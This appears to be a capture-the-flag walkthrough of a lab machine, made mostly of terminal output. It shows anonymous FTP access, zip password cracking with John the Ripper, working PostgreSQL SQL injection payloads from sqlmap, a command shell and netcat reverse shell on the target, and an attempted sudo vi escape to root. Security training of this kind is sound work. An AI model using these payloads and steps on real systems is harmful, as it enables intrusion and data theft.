┌──(root㉿kali)-[/home/kali] └─# nmap -sC -sV 10.129.103.172 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 01:48 EDT Nmap scan report for 10.129.103.172 Host is up (0.42s latency). Not shown: 944 closed tcp ports (reset), 53 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.54 | Logged in as ftpuser | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0ee58077534b00b9165b259569527a4 (RSA) | 256 ac6e81188922d7a7417d814f1bb8b251 (ECDSA) |_ 256 425bc321dfefa20bc95e03421d69d028 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: MegaCorp Login | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 261.22 seconds
┌──(root㉿kali)-[/home/kali/Desktop] └─# ftp 10.129.103.172 Connected to 10.129.103.172. 220 (vsFTPd 3.0.3) Name (10.129.103.172:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||10156|) 150 Here comes the directory listing. -rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip 226 Directory send OK. ftp> get backup.zip local: backup.zip remote: backup.zip 229 Entering Extended Passive Mode (|||10939|) 150 Opening BINARY mode data connection for backup.zip (2533 bytes). 100% |************************************| 2533 8.59 MiB/s 00:00 ETA 226 Transfer complete. 2533 bytes received in 00:00 (16.95 KiB/s) ftp> exit 221 Goodbye.
┌──(root㉿kali)-[/home/kali/Desktop] └─# john --help John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit x86_64 SSE2 AC] Copyright (c) 1996-2021 by Solar Designer and others Homepage: https://www.openwall.com/john/
Usage: john [OPTIONS] [PASSWORD-FILES]
--help Print usage summary --single[=SECTION[,..]] "Single crack" mode, using default or named rules --single=:rule[,..] Same, using "immediate" rule(s) --single-seed=WORD[,WORD] Add static seed word(s) for all salts in single mode --single-wordlist=FILE *Short* wordlist with static seed words/morphemes --single-user-seed=FILE Wordlist with seeds per username (user:password[s] format) --single-pair-max=N Override max. number of word pairs generated (6) --no-single-pair Disable single word pair generation --[no-]single-retest-guess Override config for SingleRetestGuess --wordlist[=FILE] --stdin Wordlist mode, read words from FILE or stdin --pipe like --stdin, but bulk reads, and allows rules --rules[=SECTION[,..]] Enable word mangling rules (for wordlist or PRINCE modes), using default or named rules --rules=:rule[;..]] Same, using "immediate" rule(s) --rules-stack=SECTION[,..] Stacked rules, applied after regular rules or to modes that otherwise don't support rules --rules-stack=:rule[;..] Same, using "immediate" rule(s) --rules-skip-nop Skip any NOP ":" rules (you already ran w/o rules) --loopback[=FILE] Like --wordlist, but extract words from a .pot file --mem-file-size=SIZE Size threshold for wordlist preload (default 2048 MB) --dupe-suppression Suppress all dupes in wordlist (and force preload) --incremental[=MODE] "Incremental" mode [using section MODE] --incremental-charcount=N Override CharCount for incremental mode --external=MODE External mode or word filter --mask[=MASK] Mask mode using MASK (or default from john.conf) --markov[=OPTIONS] "Markov" mode (see doc/MARKOV) --mkv-stats=FILE "Markov" stats file --prince[=FILE] PRINCE mode, read words from FILE --prince-loopback[=FILE] Fetch words from a .pot file --prince-elem-cnt-min=N Minimum number of elements per chain (1) --prince-elem-cnt-max=[-]N Maximum number of elements per chain (negative N is relative to word length) (8) --prince-skip=N Initial skip --prince-limit=N Limit number of candidates generated --prince-wl-dist-len Calculate length distribution from wordlist --prince-wl-max=N Load only N words from input wordlist --prince-case-permute Permute case of first letter --prince-mmap Memory-map infile (not available with case permute) --prince-keyspace Just show total keyspace that would be produced (disregarding skip and limit) --subsets[=CHARSET] "Subsets" mode (see doc/SUBSETS) --subsets-required=N The N first characters of "subsets" charset are the "required set" --subsets-min-diff=N Minimum unique characters in subset --subsets-max-diff=[-]N Maximum unique characters in subset (negative N is relative to word length) --subsets-prefer-short Prefer shorter candidates over smaller subsets --subsets-prefer-small Prefer smaller subsets over shorter candidates --make-charset=FILE Make a charset, FILE will be overwritten --stdout[=LENGTH] Just output candidate passwords [cut at LENGTH] --session=NAME Give a new session the NAME --status[=NAME] Print status of a session [called NAME] --restore[=NAME] Restore an interrupted session [called NAME] --[no-]crack-status Emit a status line whenever a password is cracked --progress-every=N Emit a status line every N seconds --show[=left] Show cracked passwords [if =left, then uncracked] --show=formats Show information about hashes in a file (JSON) --show=invalid Show lines that are not valid for selected format(s) --test[=TIME] Run tests and benchmarks for TIME seconds each (if TIME is explicitly 0, test w/o benchmark) --stress-test[=TIME] Loop self tests forever --test-full=LEVEL Run more thorough self-tests --no-mask Used with --test for alternate benchmark w/o mask --skip-self-tests Skip self tests --users=[-]LOGIN|UID[,..] [Do not] load this (these) user(s) only --groups=[-]GID[,..] Load users [not] of this (these) group(s) only --shells=[-]SHELL[,..] Load users with[out] this (these) shell(s) only --salts=[-]COUNT[:MAX] Load salts with[out] COUNT [to MAX] hashes, or --salts=#M[-N] Load M [to N] most populated salts --costs=[-]C[:M][,...] Load salts with[out] cost value Cn [to Mn]. For tunable cost parameters, see doc/OPTIONS --fork=N Fork N processes --node=MIN[-MAX]/TOTAL This node's number range out of TOTAL count --save-memory=LEVEL Enable memory saving, at LEVEL 1..3 --log-stderr Log to screen instead of file --verbosity=N Change verbosity (1-5 or 6 for debug, default 3) --no-log Disables creation and writing to john.log file --bare-always-valid=Y Treat bare hashes as valid (Y/N) --catch-up=NAME Catch up with existing (paused) session NAME --config=FILE Use FILE instead of john.conf or john.ini --encoding=NAME Input encoding (eg. UTF-8, ISO-8859-1). See also doc/ENCODINGS. --input-encoding=NAME Input encoding (aliasfor --encoding) --internal-codepage=NAME Codepage used in rules/masks (see doc/ENCODINGS) --target-encoding=NAME Output encoding (used by format) --force-tty Set up terminal for reading keystrokes even if we're not the foreground process --field-separator-char=C Use 'C' instead of the ':' in input and pot files --[no-]keep-guessing Try finding plaintext collisions --list=WHAT List capabilities, see --list=help or doc/OPTIONS --length=N Shortcut for --min-len=N --max-len=N --min-length=N Request a minimum candidate length in bytes --max-length=N Request a maximum candidate length in bytes --max-candidates=[-]N Gracefully exit after this many candidates tried. (if negative, reset count on each crack) --max-run-time=[-]N Gracefully exit after this many seconds (if negative, reset timer on each crack) --mkpc=N Request a lower max. keys per crypt --no-loader-dupecheck Disable the dupe checking when loading hashes --pot=NAME Pot file to use --regen-lost-salts=N Brute force unknown salts (see doc/OPTIONS) --reject-printable Reject printable binaries --tune=HOW Tuning options (auto/report/N) --subformat=FORMAT Pick a benchmark format for --format=crypt --format=[NAME|CLASS][,..] Force hash of type NAME. The supported formats can be seen with --list=formats and --list=subformats. See also doc/OPTIONS for more advanced selection of format(s), including using classes and wildcards.
we will have to convert the ZIP into the hash using the zip2john module that comes within John the Ripper:
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[/home/kali/Desktop] └─# zip2john backup.zip > hashes ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8 ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
Now, we will type the following command: john -wordlist=/usr/share/wordlists/rockyou.txt hashes So it will load the wordlist & it will do a bruteforce attack against the hash stored in file hashes . Once the password is cracked, we will use the –show option to display the cracked password.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root㉿kali)-[/home/kali/Desktop] └─# john -wordlist=/usr/share/wordlists/rockyou.txt hashes Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 741852963 (backup.zip) 1g 0:00:00:00 DONE (2023-07-24 02:40) 33.33g/s 273066p/s 273066c/s 273066C/s 123456..whitetiger Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(root㉿kali)-[/home/kali/Desktop] └─# john --show hashes backup.zip:741852963::backup.zip:style.css, index.php:backup.zip
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1)
Target: At least one of these options has to be provided to define the target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK Process Google dork results as target URLs
Request: These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1") --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --random-agent Use randomly selected HTTP User-Agent header value --proxy=PROXY Use a proxy to connect to the target URL --tor Use Tor anonymity network --check-tor Check to see if Tor is used properly
Injection: These options can be used to specify which parameters to testfor, provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to provided value
Detection: These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1)
Techniques: These options can be used to tweak testing of specific SQL injection techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables
-a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --passwords Enumerate DBMS users password hashes --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate
Operating system access: These options can be used to access the back-end database management system underlying operating system
--os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC
General: These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior --flush-session Flush session files for current target
Miscellaneous: These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:51:12 /2023-07-24/
[04:51:12] [INFO] testing connection to the target URL [04:51:20] [INFO] checking if the target is protected by some kind of WAF/IPS [04:51:21] [INFO] testing if the target URL content is stable [04:51:21] [INFO] target URL content is stable [04:51:21] [INFO] testing if GET parameter 'search' is dynamic [04:51:21] [WARNING] GET parameter 'search' does not appear to be dynamic [04:51:22] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL') [04:51:23] [INFO] testing for SQL injection on GET parameter 'search' it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y for the remaining tests, do you want to include all tests for'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] y [04:51:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [04:52:03] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [04:52:04] [INFO] testing 'Generic inline queries' [04:52:04] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' [04:52:07] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable [04:52:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [04:52:08] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable [04:52:08] [INFO] testing 'PostgreSQL inline queries' [04:52:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [04:52:08] [WARNING] time-based comparison requires larger statistical model, please wait..... (done) [04:52:21] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable [04:52:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [04:52:32] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable [04:52:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests: --- Parameter: search (GET) Type: boolean-based blind Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST) Payload: search=any query' AND (SELECT (CASE WHEN (6093=6093) THEN NULL ELSE CAST((CHR(118)||CHR(118)||CHR(87)||CHR(105)) AS NUMERIC) END)) IS NULL-- RTIw
Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: search=any query' AND 9369=CAST((CHR(113)||CHR(118)||CHR(98)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (9369=9369) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(98)||CHR(122)||CHR(113)) AS NUMERIC)-- fmXN
Type: time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: search=any query' AND 5884=(SELECT 5884 FROM PG_SLEEP(5))-- LLsP --- [04:52:37] [INFO] the back-end DBMS is PostgreSQL web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: PostgreSQL [04:52:40] [INFO] fingerprinting the back-end DBMS operating system [04:52:49] [INFO] the back-end DBMS operating system is Linux [04:52:50] [INFO] testing if current user is DBA [04:52:59] [INFO] retrieved: '1' [04:53:00] [INFO] going to use 'COPY ... FROM PROGRAM ...'command execution [04:53:00] [INFO] calling Linux OS shell. To quit type'x' or 'q' and press ENTER os-shell>
┌──(root㉿kali)-[/home/kali] └─# nc -lnvp 1234 listening on [any] 1234 ... connect to [10.10.14.54] from (UNKNOWN) [10.129.103.172] 41906 bash: cannot set terminal process group (7060): Inappropriate ioctl for device bash: no job control in this shell postgres@vaccine:/var/lib/postgresql/11/main$
postgres@vaccine:/var/lib/postgresql/11/main$ ls postgres@vaccine:/var/lib/postgresql/11/main$ cd .. postgres@vaccine:/var/lib/postgresql/11$ ls main postgres@vaccine:/var/lib/postgresql/11$ cd .. postgres@vaccine:/var/lib/postgresql$ ls 11 user.txt
1 2 3 4 5 6 7 8 9 10 11 12
postgres@vaccine:/var/lib/postgresql$ cd /var/www/html postgres@vaccine:/var/www/html$ ls -la total 392 drwxr-xr-x 2 root root 4096 Jul 23 2021 . drwxr-xr-x 3 root root 4096 Jul 23 2021 .. -rw-rw-r-- 1 root root 362847 Feb 3 2020 bg.png -rw-r--r-- 1 root root 4723 Feb 3 2020 dashboard.css -rw-r--r-- 1 root root 50 Jan 30 2020 dashboard.js -rw-r--r-- 1 root root 2313 Feb 4 2020 dashboard.php -rw-r--r-- 1 root root 2594 Feb 3 2020 index.php -rw-r--r-- 1 root root 1100 Jan 30 2020 license.txt -rw-r--r-- 1 root root 3274 Feb 3 2020 style.css
┌──(kali㉿kali)-[~] └─$ ssh postgres@10.129.99.79 The authenticity of host '10.129.99.79 (10.129.99.79)' can't be established. ED25519 key fingerprint is SHA256:4qLpMBLGtEbuHObR8YU15AGlIlpd0dsdiGh/pkeZYFo. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.99.79' (ED25519) to the list of known hosts. postgres@10.129.99.79's password: Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)
System information as of Mon 24 Jul 2023 01:03:52 PM UTC
System load: 0.0 Processes: 186 Usage of /: 32.6% of 8.73GB Users logged in: 0 Memory usage: 19% IP address for ens160: 10.129.99.79 Swap usage: 0%
0 updates can be installed immediately. 0 of these updates are security updates.
The list of available updates is more than a week old. To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
sudo - l查看有哪些特权:
1 2 3 4 5 6 7 8 9 10
postgres@vaccine:~$ sudo -l [sudo] password for postgres: Matching Defaults entries for postgres on vaccine: env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User postgres may run the following commands on vaccine: (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ':!/bin/sh'/dev/null Sorry, user postgres is not allowed to execute '/bin/vi /etc/postgresql/11/main/pg_hba.conf -c :!/bin/sh /dev/null' as root on vaccine.